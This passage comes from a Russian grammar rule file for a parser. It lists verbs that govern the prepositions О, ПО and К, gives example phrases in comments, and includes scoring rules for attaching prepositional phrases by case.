rus_verbs:СПРОСИТЬ{}, // Он спросил о моём здоровье. (СПРОСИТЬ О)
rus_verbs:НАПОМНИТЬ{}, // больной зуб опять напомнил о себе. (НАПОМНИТЬ О)
rus_verbs:осведомиться{}, // офицер осведомился о цели визита
rus_verbs:объявить{}, // В газете объявили о конкурсе. (объявить о)
rus_verbs:ПРЕДСТОЯТЬ{}, // о чем предстоит разговор? (ПРЕДСТОЯТЬ О)
rus_verbs:объявлять{}, // объявлять о всеобщей забастовке (объявлять о)
rus_verbs:зайти{}, // Разговор зашёл о политике.
rus_verbs:порассказать{}, // порассказать о своих путешествиях
инфинитив:спеть{ вид:соверш }, глагол:спеть{ вид:соверш }, // спеть о неразделенной любви
деепричастие:спев{}, прилагательное:спевший{ вид:соверш },
прилагательное:спетый{},
rus_verbs:напеть{},
rus_verbs:разговаривать{}, // разговаривать с другом о жизни
rus_verbs:рассуждать{}, // рассуждать об абстрактных идеях
//rus_verbs:заботиться{}, // заботиться о престарелых родителях
rus_verbs:раздумывать{}, // раздумывать о новой работе
rus_verbs:договариваться{}, // договариваться о сумме компенсации
rus_verbs:молить{}, // молить о пощаде
rus_verbs:отзываться{}, // отзываться о книге
rus_verbs:подумывать{}, // подумывать о новом подходе
rus_verbs:поговаривать{}, // поговаривать о загадочном звере
rus_verbs:обмолвиться{}, // обмолвиться о проклятии
rus_verbs:условиться{}, // условиться о поддержке
rus_verbs:призадуматься{}, // призадуматься о последствиях
rus_verbs:известить{}, // известить о поступлении
rus_verbs:отрапортовать{}, // отрапортовать об успехах
rus_verbs:напевать{}, // напевать о любви
rus_verbs:помышлять{}, // помышлять о новом деле
rus_verbs:переговорить{}, // переговорить о правилах
rus_verbs:повествовать{}, // повествовать о событиях
rus_verbs:слыхивать{}, // слыхивать о чудище
rus_verbs:потолковать{}, // потолковать о планах
rus_verbs:проговориться{}, // проговориться о планах
rus_verbs:умолчать{}, // умолчать о штрафах
rus_verbs:хлопотать{}, // хлопотать о премии
rus_verbs:уведомить{}, // уведомить о поступлении
rus_verbs:горевать{}, // горевать о потере
rus_verbs:запамятовать{}, // запамятовать о важном мероприятии
rus_verbs:заикнуться{}, // заикнуться о прибавке
rus_verbs:информировать{}, // информировать о событиях
rus_verbs:проболтаться{}, // проболтаться о кладе
rus_verbs:поразмыслить{}, // поразмыслить о судьбе
rus_verbs:заикаться{}, // заикаться о деньгах
rus_verbs:оповестить{}, // оповестить об отказе
rus_verbs:печься{}, // печься о всеобщем благе
rus_verbs:разглагольствовать{}, // разглагольствовать о правах
rus_verbs:размечтаться{}, // размечтаться о будущем
rus_verbs:лепетать{}, // лепетать о невиновности
rus_verbs:грезить{}, // грезить о большой и чистой любви
rus_verbs:залепетать{}, // залепетать о сокровищах
rus_verbs:пронюхать{}, // пронюхать о бесплатной одежде
rus_verbs:протрубить{}, // протрубить о победе
rus_verbs:извещать{}, // извещать о поступлении
rus_verbs:трубить{}, // трубить о поимке разбойников
rus_verbs:осведомляться{}, // осведомляться о судьбе
rus_verbs:поразмышлять{}, // поразмышлять о неизбежном
rus_verbs:слагать{}, // слагать о подвигах викингов
rus_verbs:ходатайствовать{}, // ходатайствовать о выделении материальной помощи
rus_verbs:побеспокоиться{}, // побеспокоиться о правильном стимулировании
rus_verbs:закидывать{}, // закидывать сообщениями об ошибках
rus_verbs:базарить{}, // пацаны базарили о телках
rus_verbs:балагурить{}, // мужики балагурили о новом председателе
rus_verbs:балакать{}, // мужики балакали о новом председателе
rus_verbs:беспокоиться{}, // Она беспокоится о детях
rus_verbs:рассказать{}, // Кумир рассказал о криминале в Москве
rus_verbs:возмечтать{}, // возмечтать о счастливом мире
rus_verbs:вопить{}, // Кто-то вопил о несправедливости
rus_verbs:сказать{}, // сказать что-то новое о ком-то
rus_verbs:знать{}, // знать о ком-то что-то пикантное
rus_verbs:подумать{}, // подумать о чём-то
rus_verbs:думать{}, // думать о чём-то
rus_verbs:узнать{}, // узнать о происшествии
rus_verbs:помнить{}, // помнить о задании
rus_verbs:просить{}, // просить о коде доступа
rus_verbs:забыть{}, // забыть о своих обязанностях
rus_verbs:сообщить{}, // сообщить о заложенной мине
rus_verbs:заявить{}, // заявить о пропаже
rus_verbs:задуматься{}, // задуматься о смерти
rus_verbs:спрашивать{}, // спрашивать о поступлении товара
rus_verbs:догадаться{}, // догадаться о причинах
rus_verbs:договориться{}, // договориться о собеседовании
rus_verbs:мечтать{}, // мечтать о сцене
rus_verbs:поговорить{}, // поговорить о наболевшем
rus_verbs:размышлять{}, // размышлять о насущном
rus_verbs:напоминать{}, // напоминать о себе
rus_verbs:пожалеть{}, // пожалеть о содеянном
rus_verbs:ныть{}, // ныть о прибавке
rus_verbs:сообщать{}, // сообщать о победе
rus_verbs:догадываться{}, // догадываться о первопричине
rus_verbs:поведать{}, // поведать о тайнах
rus_verbs:умолять{}, // умолять о пощаде
rus_verbs:сожалеть{}, // сожалеть о случившемся
rus_verbs:жалеть{}, // жалеть о случившемся
rus_verbs:забывать{}, // забывать о случившемся
rus_verbs:упоминать{}, // упоминать о предках
rus_verbs:позабыть{}, // позабыть о своем обещании
rus_verbs:запеть{}, // запеть о любви
rus_verbs:скорбеть{}, // скорбеть о усопшем
rus_verbs:задумываться{}, // задумываться о смене работы
rus_verbs:позаботиться{}, // позаботиться о престарелых родителях
rus_verbs:докладывать{}, // докладывать о планах строительства целлюлозно-бумажного комбината
rus_verbs:попросить{}, // попросить о замене
rus_verbs:предупредить{}, // предупредить о замене
rus_verbs:предупреждать{}, // предупреждать о замене
rus_verbs:твердить{}, // твердить о замене
rus_verbs:заявлять{}, // заявлять о подлоге
rus_verbs:петь{}, // певица, поющая о лете
rus_verbs:проинформировать{}, // проинформировать о переговорах
rus_verbs:порассказывать{}, // порассказывать о событиях
rus_verbs:послушать{}, // послушать о новинках
rus_verbs:заговорить{}, // заговорить о плате
rus_verbs:отозваться{}, // Он отозвался о книге с большой похвалой.
rus_verbs:оставить{}, // Он оставил о себе печальную память.
rus_verbs:свидетельствовать{}, // страшно исхудавшее тело свидетельствовало о долгих лишениях
rus_verbs:спорить{}, // они спорили о законе
глагол:написать{ aux stress="напис^ать" }, инфинитив:написать{ aux stress="напис^ать" }, // Он написал о том, что видел во время путешествия.
глагол:писать{ aux stress="пис^ать" }, инфинитив:писать{ aux stress="пис^ать" }, // Он писал о том, что видел во время путешествия.
rus_verbs:прочитать{}, // Я прочитал о тебе
rus_verbs:услышать{}, // Я услышал о нем
rus_verbs:помечтать{}, // Девочки помечтали о принце
rus_verbs:слышать{}, // Мальчик слышал о приведениях
rus_verbs:вспомнить{}, // Девочки вспомнили о завтраке
rus_verbs:грустить{}, // Я грущу о тебе
rus_verbs:осведомить{}, // о последних достижениях науки
rus_verbs:рассказывать{}, // Антонио рассказывает о работе
rus_verbs:говорить{}, // говорим о трех больших псах
rus_verbs:идти{} // Вопрос идёт о войне.
}
fact гл_предл
{
if context { Гл_О_предл предлог:о{} *:*{ падеж:предл } }
then return true
}
// Мы поделились впечатлениями о выставке.
// ^^^^^^^^^^ ^^^^^^^^^^
fact гл_предл
{
if context { * предлог:о{} *:*{ падеж:предл } }
then return false,-3
}
fact гл_предл
{
if context { * предлог:о{} *:*{} }
then return false,-5
}
#endregion Предлог_О
#region Предлог_ПО
// ------------------- С ПРЕДЛОГОМ 'ПО' ----------------------
// для этих глаголов - запрещаем связывание с ПО+дат.п.
wordentry_set Глаг_ПО_Дат_Запр=
{
rus_verbs:предпринять{}, // предпринять шаги по стимулированию продаж
rus_verbs:увлечь{}, // увлечь в прогулку по парку
rus_verbs:закончить{},
rus_verbs:мочь{},
rus_verbs:хотеть{}
}
fact гл_предл
{
if context { Глаг_ПО_Дат_Запр предлог:по{} *:*{ падеж:дат } }
then return false,-10
}
// По умолчанию разрешаем связывание в паттернах типа
// Я иду по шоссе
fact гл_предл
{
if context { * предлог:по{} *:*{ падеж:дат } }
then return true
}
wordentry_set Глаг_ПО_Вин=
{
rus_verbs:ВОЙТИ{}, // лезвие вошло по рукоять (ВОЙТИ)
rus_verbs:иметь{}, // все месяцы имели по тридцать дней. (ИМЕТЬ ПО)
rus_verbs:материализоваться{}, // материализоваться по другую сторону барьера
rus_verbs:засадить{}, // засадить по рукоятку
rus_verbs:увязнуть{} // увязнуть по колено
}
fact гл_предл
{
if context { Глаг_ПО_Вин предлог:по{} *:*{ падеж:вин } }
then return true
}
// для остальных падежей запрещаем.
fact гл_предл
{
if context { * предлог:по{} *:*{ падеж:вин } }
then return false,-5
}
#endregion Предлог_ПО
#region Предлог_К
// ------------------- С ПРЕДЛОГОМ 'К' ----------------------
wordentry_set Гл_К_Дат={
rus_verbs:заявиться{}, // Сразу же после обеда к нам заявилась Юлия Михайловна.
rus_verbs:приставлять{} , // Приставляет дуло пистолета к виску.
прилагательное:НЕПРИГОДНЫЙ{}, // большинство компьютеров из этой партии оказались непригодными к эксплуатации (НЕПРИГОДНЫЙ)
rus_verbs:СБЕГАТЬСЯ{}, // Они чуяли воду и сбегались к ней отовсюду. (СБЕГАТЬСЯ)
rus_verbs:СБЕЖАТЬСЯ{}, // К бетонной скамье начали сбегаться люди. (СБЕГАТЬСЯ/СБЕЖАТЬСЯ)
rus_verbs:ПРИТИРАТЬСЯ{}, // Менее стойких водителей буквально сметало на другую полосу, и они впритык притирались к другим машинам. (ПРИТИРАТЬСЯ)
rus_verbs:РУХНУТЬ{}, // а потом ты без чувств рухнул к моим ногам (РУХНУТЬ)
rus_verbs:ПЕРЕНЕСТИ{}, // Они перенесли мясо к ручью и поджарили его на костре. (ПЕРЕНЕСТИ)
rus_verbs:ЗАВЕСТИ{}, // как путь мой завел меня к нему? (ЗАВЕСТИ)
rus_verbs:НАГРЯНУТЬ{}, // ФБР нагрянуло с обыском к сестре бостонских террористов (НАГРЯНУТЬ)
rus_verbs:ПРИСЛОНЯТЬСЯ{}, // Рабы ложились на пол, прислонялись к стене и спали. (ПРИСЛОНЯТЬСЯ,ПРИНОРАВЛИВАТЬСЯ,ПРИНОРОВИТЬСЯ)
rus_verbs:ПРИНОРАВЛИВАТЬСЯ{}, //
rus_verbs:ПРИНОРОВИТЬСЯ{}, //
rus_verbs:СПЛАНИРОВАТЬ{}, // Вскоре она остановила свое падение и спланировала к ним. (СПЛАНИРОВАТЬ,СПИКИРОВАТЬ,РУХНУТЬ)
rus_verbs:СПИКИРОВАТЬ{}, //
rus_verbs:ЗАБРАТЬСЯ{}, // Поэтому он забрался ко мне в квартиру с имевшимся у него полумесяцем. (ЗАБРАТЬСЯ К, В, С)
rus_verbs:ПРОТЯГИВАТЬ{}, // Оно протягивало свои длинные руки к молодому человеку, стоявшему на плоской вершине валуна. (ПРОТЯГИВАТЬ/ПРОТЯНУТЬ/ТЯНУТЬ)
rus_verbs:ПРОТЯНУТЬ{}, //
rus_verbs:ТЯНУТЬ{}, //
rus_verbs:ПЕРЕБИРАТЬСЯ{}, // Ее губы медленно перебирались к его уху. (ПЕРЕБИРАТЬСЯ,ПЕРЕБРАТЬСЯ,ПЕРЕБАЗИРОВАТЬСЯ,ПЕРЕМЕСТИТЬСЯ,ПЕРЕМЕЩАТЬСЯ)
rus_verbs:ПЕРЕБРАТЬСЯ{}, // ,,,
rus_verbs:ПЕРЕБАЗИРОВАТЬСЯ{}, //
rus_verbs:ПЕРЕМЕСТИТЬСЯ{}, //
rus_verbs:ПЕРЕМЕЩАТЬСЯ{}, //
rus_verbs:ТРОНУТЬСЯ{}, // Он отвернулся от нее и тронулся к пляжу. (ТРОНУТЬСЯ)
rus_verbs:ПРИСТАВИТЬ{}, // Он поднял одну из них и приставил верхний конец к краю шахты в потолке.
rus_verbs:ПРОБИТЬСЯ{}, // Отряд с невероятными приключениями, пытается пробиться к своему полку, попадает в плен и другие передряги (ПРОБИТЬСЯ)
rus_verbs:хотеть{},
rus_verbs:СДЕЛАТЬ{}, // Сделайте всё к понедельнику (СДЕЛАТЬ)
rus_verbs:ИСПЫТЫВАТЬ{}, // она испытывает ко мне только отвращение (ИСПЫТЫВАТЬ)
rus_verbs:ОБЯЗЫВАТЬ{}, // Это меня ни к чему не обязывает (ОБЯЗЫВАТЬ)
rus_verbs:КАРАБКАТЬСЯ{}, // карабкаться по горе от подножия к вершине (КАРАБКАТЬСЯ)
rus_verbs:СТОЯТЬ{}, // мужчина стоял ко мне спиной (СТОЯТЬ)
rus_verbs:ПОДАТЬСЯ{}, // наконец люк подался ко мне (ПОДАТЬСЯ)
rus_verbs:ПРИРАВНЯТЬ{}, // Усилия нельзя приравнять к результату (ПРИРАВНЯТЬ)
rus_verbs:ПРИРАВНИВАТЬ{}, // Усилия нельзя приравнивать к результату (ПРИРАВНИВАТЬ)
rus_verbs:ВОЗЛОЖИТЬ{}, // Путин в Пскове возложил цветы к памятнику воинам-десантникам, погибшим в Чечне (ВОЗЛОЖИТЬ)
rus_verbs:запустить{}, // Индия запустит к Марсу свой космический аппарат в 2013 г
rus_verbs:ПРИСТЫКОВАТЬСЯ{}, // Роботизированный российский грузовой космический корабль пристыковался к МКС (ПРИСТЫКОВАТЬСЯ)
rus_verbs:ПРИМАЗАТЬСЯ{}, // К челябинскому метеориту примазалась таинственная слизь (ПРИМАЗАТЬСЯ)
rus_verbs:ПОПРОСИТЬ{}, // Попросите Лизу к телефону (ПОПРОСИТЬ К)
rus_verbs:ПРОЕХАТЬ{}, // Порой школьные автобусы просто не имеют возможности проехать к некоторым населенным пунктам из-за бездорожья (ПРОЕХАТЬ К)
rus_verbs:ПОДЦЕПЛЯТЬСЯ{}, // Вагоны с пассажирами подцепляются к составу (ПОДЦЕПЛЯТЬСЯ К)
rus_verbs:ПРИЗВАТЬ{}, // Президент Афганистана призвал талибов к прямому диалогу (ПРИЗВАТЬ К)
rus_verbs:ПРЕОБРАЗИТЬСЯ{}, // Культовый столичный отель преобразился к юбилею (ПРЕОБРАЗИТЬСЯ К)
прилагательное:ЧУВСТВИТЕЛЬНЫЙ{}, // нейроны одного комплекса чувствительны к разным веществам (ЧУВСТВИТЕЛЬНЫЙ К)
безлич_глагол:нужно{}, // нам нужно к воротам (НУЖНО К)
rus_verbs:БРОСИТЬ{}, // огромный клюв бросил это мясо к моим ногам (БРОСИТЬ К)
rus_verbs:ЗАКОНЧИТЬ{}, // к пяти утра техники закончили (ЗАКОНЧИТЬ К)
rus_verbs:НЕСТИ{}, // к берегу нас несет! (НЕСТИ К)
rus_verbs:ПРОДВИГАТЬСЯ{}, // племена медленно продвигались к востоку (ПРОДВИГАТЬСЯ К)
rus_verbs:ОПУСКАТЬСЯ{}, // деревья опускались к самой воде (ОПУСКАТЬСЯ К)
rus_verbs:СТЕМНЕТЬ{}, // к тому времени стемнело (СТЕМНЕЛО К)
rus_verbs:ОТСКОЧИТЬ{}, // после отскочил к окну (ОТСКОЧИТЬ К)
rus_verbs:ДЕРЖАТЬСЯ{}, // к солнцу держались спинами (ДЕРЖАТЬСЯ К)
rus_verbs:КАЧНУТЬСЯ{}, // толпа качнулась к ступеням (КАЧНУТЬСЯ К)
rus_verbs:ВОЙТИ{}, // Андрей вошел к себе (ВОЙТИ К)
rus_verbs:ВЫБРАТЬСЯ{}, // мы выбрались к окну (ВЫБРАТЬСЯ К)
rus_verbs:ПРОВЕСТИ{}, // провел к стене спальни (ПРОВЕСТИ К)
rus_verbs:ВЕРНУТЬСЯ{}, // давай вернемся к делу (ВЕРНУТЬСЯ К)
rus_verbs:ВОЗВРАТИТЬСЯ{}, // Среди евреев, живших в диаспоре, всегда было распространено сильное стремление возвратиться к Сиону (ВОЗВРАТИТЬСЯ К)
rus_verbs:ПРИЛЕГАТЬ{}, // Задняя поверхность хрусталика прилегает к стекловидному телу (ПРИЛЕГАТЬ К)
rus_verbs:ПЕРЕНЕСТИСЬ{}, // мысленно Алёна перенеслась к заливу (ПЕРЕНЕСТИСЬ К)
rus_verbs:ПРОБИВАТЬСЯ{}, // сквозь болото к берегу пробивался ручей. (ПРОБИВАТЬСЯ К)
rus_verbs:ПЕРЕВЕСТИ{}, // необходимо срочно перевести стадо к воде. (ПЕРЕВЕСТИ К)
rus_verbs:ПРИЛЕТЕТЬ{}, // зачем ты прилетел к нам? (ПРИЛЕТЕТЬ К)
rus_verbs:ДОБАВИТЬ{}, // добавить ли ее к остальным? (ДОБАВИТЬ К)
rus_verbs:ПРИГОТОВИТЬ{}, // Матвей приготовил лук к бою. (ПРИГОТОВИТЬ К)
rus_verbs:РВАНУТЬ{}, // человек рванул ее к себе. (РВАНУТЬ К)
rus_verbs:ТАЩИТЬ{}, // они тащили меня к двери. (ТАЩИТЬ К)
глагол:быть{}, // к тебе есть вопросы.
прилагательное:равнодушный{}, // Он равнодушен к музыке.
rus_verbs:ПОЖАЛОВАТЬ{}, // скандально известный певец пожаловал к нам на передачу (ПОЖАЛОВАТЬ К)
rus_verbs:ПЕРЕСЕСТЬ{}, // Ольга пересела к Антону (ПЕРЕСЕСТЬ К)
инфинитив:СБЕГАТЬ{ вид:соверш }, глагол:СБЕГАТЬ{ вид:соверш }, // сбегай к Борису (СБЕГАТЬ К)
rus_verbs:ПЕРЕХОДИТЬ{}, // право хода переходит к Адаму (ПЕРЕХОДИТЬ К)
rus_verbs:прижаться{}, // она прижалась щекой к его шее. (прижаться+к)
rus_verbs:ПОДСКОЧИТЬ{}, // солдат быстро подскочил ко мне. (ПОДСКОЧИТЬ К)
rus_verbs:ПРОБРАТЬСЯ{}, // нужно пробраться к реке. (ПРОБРАТЬСЯ К)
rus_verbs:ГОТОВИТЬ{}, // нас готовили к этому. (ГОТОВИТЬ К)
rus_verbs:ТЕЧЬ{}, // река текла к морю. (ТЕЧЬ К)
rus_verbs:ОТШАТНУТЬСЯ{}, // епископ отшатнулся к стене. (ОТШАТНУТЬСЯ К)
rus_verbs:БРАТЬ{}, // брали бы к себе. (БРАТЬ К)
rus_verbs:СКОЛЬЗНУТЬ{}, // ковер скользнул к пещере. (СКОЛЬЗНУТЬ К)
rus_verbs:присохнуть{}, // Грязь присохла к одежде. (присохнуть к)
rus_verbs:просить{}, // Директор просит вас к себе. (просить к)
rus_verbs:вызывать{}, // шеф вызывал к себе. (вызывать к)
rus_verbs:присесть{}, // старик присел к огню. (присесть к)
rus_verbs:НАКЛОНИТЬСЯ{}, // Ричард наклонился к брату. (НАКЛОНИТЬСЯ К)
rus_verbs:выбираться{}, // будем выбираться к дороге. (выбираться к)
rus_verbs:отвернуться{}, // Виктор отвернулся к стене. (отвернуться к)
rus_verbs:СТИХНУТЬ{}, // огонь стих к полудню. (СТИХНУТЬ К)
rus_verbs:УПАСТЬ{}, // нож упал к ногам. (УПАСТЬ К)
rus_verbs:СЕСТЬ{}, // молча сел к огню. (СЕСТЬ К)
rus_verbs:ХЛЫНУТЬ{}, // народ хлынул к стенам. (ХЛЫНУТЬ К)
rus_verbs:покатиться{}, // они черной волной покатились ко мне. (покатиться к)
rus_verbs:ОБРАТИТЬ{}, // она обратила к нему свое бледное лицо. (ОБРАТИТЬ К)
rus_verbs:СКЛОНИТЬ{}, // Джон слегка склонил голову к плечу. (СКЛОНИТЬ К)
rus_verbs:СВЕРНУТЬ{}, // дорожка резко свернула к южной стене. (СВЕРНУТЬ К)
rus_verbs:ЗАВЕРНУТЬ{}, // Он завернул к нам по пути к месту службы. (ЗАВЕРНУТЬ К)
rus_verbs:подходить{}, // цвет подходил ей к лицу.
rus_verbs:БРЕСТИ{}, // Ричард покорно брел к отцу. (БРЕСТИ К)
rus_verbs:ПОПАСТЬ{}, // хочешь попасть к нему? (ПОПАСТЬ К)
rus_verbs:ПОДНЯТЬ{}, // Мартин поднял ружье к плечу. (ПОДНЯТЬ К)
rus_verbs:ПОТЕРЯТЬ{}, // просто потеряла к нему интерес. (ПОТЕРЯТЬ К)
rus_verbs:РАЗВЕРНУТЬСЯ{}, // они сразу развернулись ко мне. (РАЗВЕРНУТЬСЯ К)
rus_verbs:ПОВЕРНУТЬ{}, // мальчик повернул к ним голову. (ПОВЕРНУТЬ К)
rus_verbs:вызвать{}, // или вызвать к жизни? (вызвать к)
rus_verbs:ВЫХОДИТЬ{}, // их земли выходят к морю. (ВЫХОДИТЬ К)
rus_verbs:ЕХАТЬ{}, // мы долго ехали к вам. (ЕХАТЬ К)
rus_verbs:опуститься{}, // Алиса опустилась к самому дну. (опуститься к)
rus_verbs:подняться{}, // они молча поднялись к себе. (подняться к)
rus_verbs:ДВИНУТЬСЯ{}, // толстяк тяжело двинулся к ним. (ДВИНУТЬСЯ К)
rus_verbs:ПОПЯТИТЬСЯ{}, // ведьмак осторожно попятился к лошади. (ПОПЯТИТЬСЯ К)
rus_verbs:РИНУТЬСЯ{}, // мышелов ринулся к черной стене. (РИНУТЬСЯ К)
rus_verbs:ТОЛКНУТЬ{}, // к этому толкнул ее ты. (ТОЛКНУТЬ К)
rus_verbs:отпрыгнуть{}, // Вадим поспешно отпрыгнул к борту. (отпрыгнуть к)
rus_verbs:отступить{}, // мы поспешно отступили к стене. (отступить к)
rus_verbs:ЗАБРАТЬ{}, // мы забрали их к себе. (ЗАБРАТЬ к)
rus_verbs:ВЗЯТЬ{}, // потом возьму тебя к себе. (ВЗЯТЬ К)
rus_verbs:лежать{}, // наш путь лежал к ним. (лежать к)
rus_verbs:поползти{}, // ее рука поползла к оружию. (поползти к)
rus_verbs:требовать{}, // вас требует к себе император. (требовать к)
rus_verbs:поехать{}, // ты должен поехать к нему. (поехать к)
rus_verbs:тянуться{}, // мордой животное тянулось к земле. (тянуться к)
rus_verbs:ЖДАТЬ{}, // жди их завтра к утру. (ЖДАТЬ К)
rus_verbs:ПОЛЕТЕТЬ{}, // они стремительно полетели к земле. (ПОЛЕТЕТЬ К)
rus_verbs:подойти{}, // помоги мне подойти к столу. (подойти к)
rus_verbs:РАЗВЕРНУТЬ{}, // мужик развернул к нему коня. (РАЗВЕРНУТЬ К)
rus_verbs:ПРИВЕЗТИ{}, // нас привезли прямо к королю. (ПРИВЕЗТИ К)
rus_verbs:отпрянуть{}, // незнакомец отпрянул к стене. (отпрянуть к)
rus_verbs:побежать{}, // Cергей побежал к двери. (побежать к)
rus_verbs:отбросить{}, // сильный удар отбросил его к стене. (отбросить к)
rus_verbs:ВЫНУДИТЬ{}, // они вынудили меня к сотрудничеству (ВЫНУДИТЬ К)
rus_verbs:подтянуть{}, // он подтянул к себе стул и сел на него (подтянуть к)
rus_verbs:сойти{}, // по узкой тропинке путники сошли к реке. (сойти к)
rus_verbs:являться{}, // по ночам к нему являлись призраки. (являться к)
rus_verbs:ГНАТЬ{}, // ледяной ветер гнал их к югу. (ГНАТЬ К)
rus_verbs:ВЫВЕСТИ{}, // она вывела нас точно к месту. (ВЫВЕСТИ К)
rus_verbs:выехать{}, // почти сразу мы выехали к реке.
rus_verbs:пододвигаться{}, // пододвигайся к окну
rus_verbs:броситься{}, // большая часть защитников стен бросилась к воротам.
rus_verbs:представить{}, // Его представили к ордену.
rus_verbs:двигаться{}, // между тем чудище неторопливо двигалось к берегу.
rus_verbs:выскочить{}, // тем временем они выскочили к реке.
rus_verbs:выйти{}, // тем временем они вышли к лестнице.
rus_verbs:потянуть{}, // Мальчик схватил верёвку и потянул её к себе.
rus_verbs:приложить{}, // приложить к детали повышенное усилие
rus_verbs:пройти{}, // пройти к стойке регистрации (стойка регистрации - проверить проверку)
rus_verbs:отнестись{}, // отнестись к животным с сочуствием
rus_verbs:привязать{}, // привязать за лапу веревкой к колышку, воткнутому в землю
rus_verbs:прыгать{}, // прыгать к хозяину на стол
rus_verbs:приглашать{}, // приглашать к доктору
rus_verbs:рваться{}, // Чужие люди рвутся к власти
rus_verbs:понестись{}, // понестись к обрыву
rus_verbs:питать{}, // питать привязанность к алкоголю
rus_verbs:заехать{}, // Коля заехал к Оле
rus_verbs:переехать{}, // переехать к родителям
rus_verbs:ползти{}, // ползти к дороге
rus_verbs:сводиться{}, // сводиться к элементарному действию
rus_verbs:добавлять{}, // добавлять к общей сумме
rus_verbs:подбросить{}, // подбросить к потолку
rus_verbs:призывать{}, // призывать к спокойствию
rus_verbs:пробираться{}, // пробираться к партизанам
rus_verbs:отвезти{}, // отвезти к родителям
rus_verbs:применяться{}, // применяться к уравнению
rus_verbs:сходиться{}, // сходиться к точному решению
rus_verbs:допускать{}, // допускать к сдаче зачета
rus_verbs:свести{}, // свести к нулю
rus_verbs:придвинуть{}, // придвинуть к мальчику
rus_verbs:подготовить{}, // подготовить к печати
rus_verbs:подобраться{}, // подобраться к оленю
rus_verbs:заторопиться{}, // заторопиться к выходу
rus_verbs:пристать{}, // пристать к берегу
rus_verbs:поманить{}, // поманить к себе
rus_verbs:припасть{}, // припасть к алтарю
rus_verbs:притащить{}, // притащить к себе домой
rus_verbs:прижимать{}, // прижимать к груди
rus_verbs:подсесть{}, // подсесть к симпатичной девочке
rus_verbs:придвинуться{}, // придвинуться к окну
rus_verbs:отпускать{}, // отпускать к другу
rus_verbs:пригнуться{}, // пригнуться к земле
rus_verbs:пристроиться{}, // пристроиться к колонне
rus_verbs:сгрести{}, // сгрести к себе
rus_verbs:удрать{}, // удрать к цыганам
rus_verbs:прибавиться{}, // прибавиться к общей сумме
rus_verbs:присмотреться{}, // присмотреться к покупке
rus_verbs:подкатить{}, // подкатить к трюму
rus_verbs:клонить{}, // клонить ко сну
rus_verbs:проследовать{}, // проследовать к выходу
rus_verbs:пододвинуть{}, // пододвинуть к себе
rus_verbs:применять{}, // применять к сотрудникам
rus_verbs:прильнуть{}, // прильнуть к экранам
rus_verbs:подвинуть{}, // подвинуть к себе
rus_verbs:примчаться{}, // примчаться к папе
rus_verbs:подкрасться{}, // подкрасться к жертве
rus_verbs:привязаться{}, // привязаться к собаке
rus_verbs:забирать{}, // забирать к себе
rus_verbs:прорваться{}, // прорваться к кассе
rus_verbs:прикасаться{}, // прикасаться к коже
rus_verbs:уносить{}, // уносить к себе
rus_verbs:подтянуться{}, // подтянуться к месту
rus_verbs:привозить{}, // привозить к ветеринару
rus_verbs:подползти{}, // подползти к зайцу
rus_verbs:приблизить{}, // приблизить к глазам
rus_verbs:применить{}, // применить к уравнению простое преобразование
rus_verbs:приглядеться{}, // приглядеться к изображению
rus_verbs:приложиться{}, // приложиться к ручке
rus_verbs:приставать{}, // приставать к девчонкам
rus_verbs:запрещаться{}, // запрещаться к показу
rus_verbs:прибегать{}, // прибегать к насилию
rus_verbs:побудить{}, // побудить к действиям
rus_verbs:притягивать{}, // притягивать к себе
rus_verbs:пристроить{}, // пристроить к полезному делу
rus_verbs:приговорить{}, // приговорить к смерти
rus_verbs:склоняться{}, // склоняться к прекращению разработки
rus_verbs:подъезжать{}, // подъезжать к вокзалу
rus_verbs:привалиться{}, // привалиться к забору
rus_verbs:наклоняться{}, // наклоняться к щенку
rus_verbs:подоспеть{}, // подоспеть к обеду
rus_verbs:прилипнуть{}, // прилипнуть к окну
rus_verbs:приволочь{}, // приволочь к себе
rus_verbs:устремляться{}, // устремляться к вершине
rus_verbs:откатиться{}, // откатиться к исходным позициям
rus_verbs:побуждать{}, // побуждать к действиям
rus_verbs:прискакать{}, // прискакать к кормежке
rus_verbs:присматриваться{}, // присматриваться к новичку
rus_verbs:прижиматься{}, // прижиматься к борту
rus_verbs:жаться{}, // жаться к огню
rus_verbs:передвинуть{}, // передвинуть к окну
rus_verbs:допускаться{}, // допускаться к экзаменам
rus_verbs:прикрепить{}, // прикрепить к корпусу
rus_verbs:отправлять{}, // отправлять к специалистам
rus_verbs:перебежать{}, // перебежать к врагам
rus_verbs:притронуться{}, // притронуться к реликвии
rus_verbs:заспешить{}, // заспешить к семье
rus_verbs:ревновать{}, // ревновать к сопернице
rus_verbs:подступить{}, // подступить к горлу
rus_verbs:уводить{}, // уводить к ветеринару
rus_verbs:побросать{}, // побросать к ногам
rus_verbs:подаваться{}, // подаваться к ужину
rus_verbs:приписывать{}, // приписывать к достижениям
rus_verbs:относить{}, // относить к растениям
rus_verbs:принюхаться{}, // принюхаться к ароматам
rus_verbs:подтащить{}, // подтащить к себе
rus_verbs:прислонить{}, // прислонить к стене
rus_verbs:подплыть{}, // подплыть к бую
rus_verbs:опаздывать{}, // опаздывать к стилисту
rus_verbs:примкнуть{}, // примкнуть к деомнстрантам
rus_verbs:стекаться{}, // стекаются к стенам тюрьмы
rus_verbs:подготовиться{}, // подготовиться к марафону
rus_verbs:приглядываться{}, // приглядываться к новичку
rus_verbs:присоединяться{}, // присоединяться к сообществу
rus_verbs:клониться{}, // клониться ко сну
rus_verbs:привыкать{}, // привыкать к хорошему
rus_verbs:принудить{}, // принудить к миру
rus_verbs:уплыть{}, // уплыть к далекому берегу
rus_verbs:утащить{}, // утащить к детенышам
rus_verbs:приплыть{}, // приплыть к финишу
rus_verbs:подбегать{}, // подбегать к хозяину
rus_verbs:лишаться{}, // лишаться средств к существованию
rus_verbs:приступать{}, // приступать к операции
rus_verbs:пробуждать{}, // пробуждать лекцией интерес к математике
rus_verbs:подключить{}, // подключить к трубе
rus_verbs:подключиться{}, // подключиться к сети
rus_verbs:прилить{}, // прилить к лицу
rus_verbs:стучаться{}, // стучаться к соседям
rus_verbs:пристегнуть{}, // пристегнуть к креслу
rus_verbs:присоединить{}, // присоединить к сети
rus_verbs:отбежать{}, // отбежать к противоположной стене
rus_verbs:подвезти{}, // подвезти к набережной
rus_verbs:прибегнуть{}, // прибегнуть к хитрости
rus_verbs:приучить{}, // приучить к туалету
rus_verbs:подталкивать{}, // подталкивать к выходу
rus_verbs:прорываться{}, // прорываться к выходу
rus_verbs:увозить{}, // увозить к ветеринару
rus_verbs:засеменить{}, // засеменить к выходу
rus_verbs:крепиться{}, // крепиться к потолку
rus_verbs:прибрать{}, // прибрать к рукам
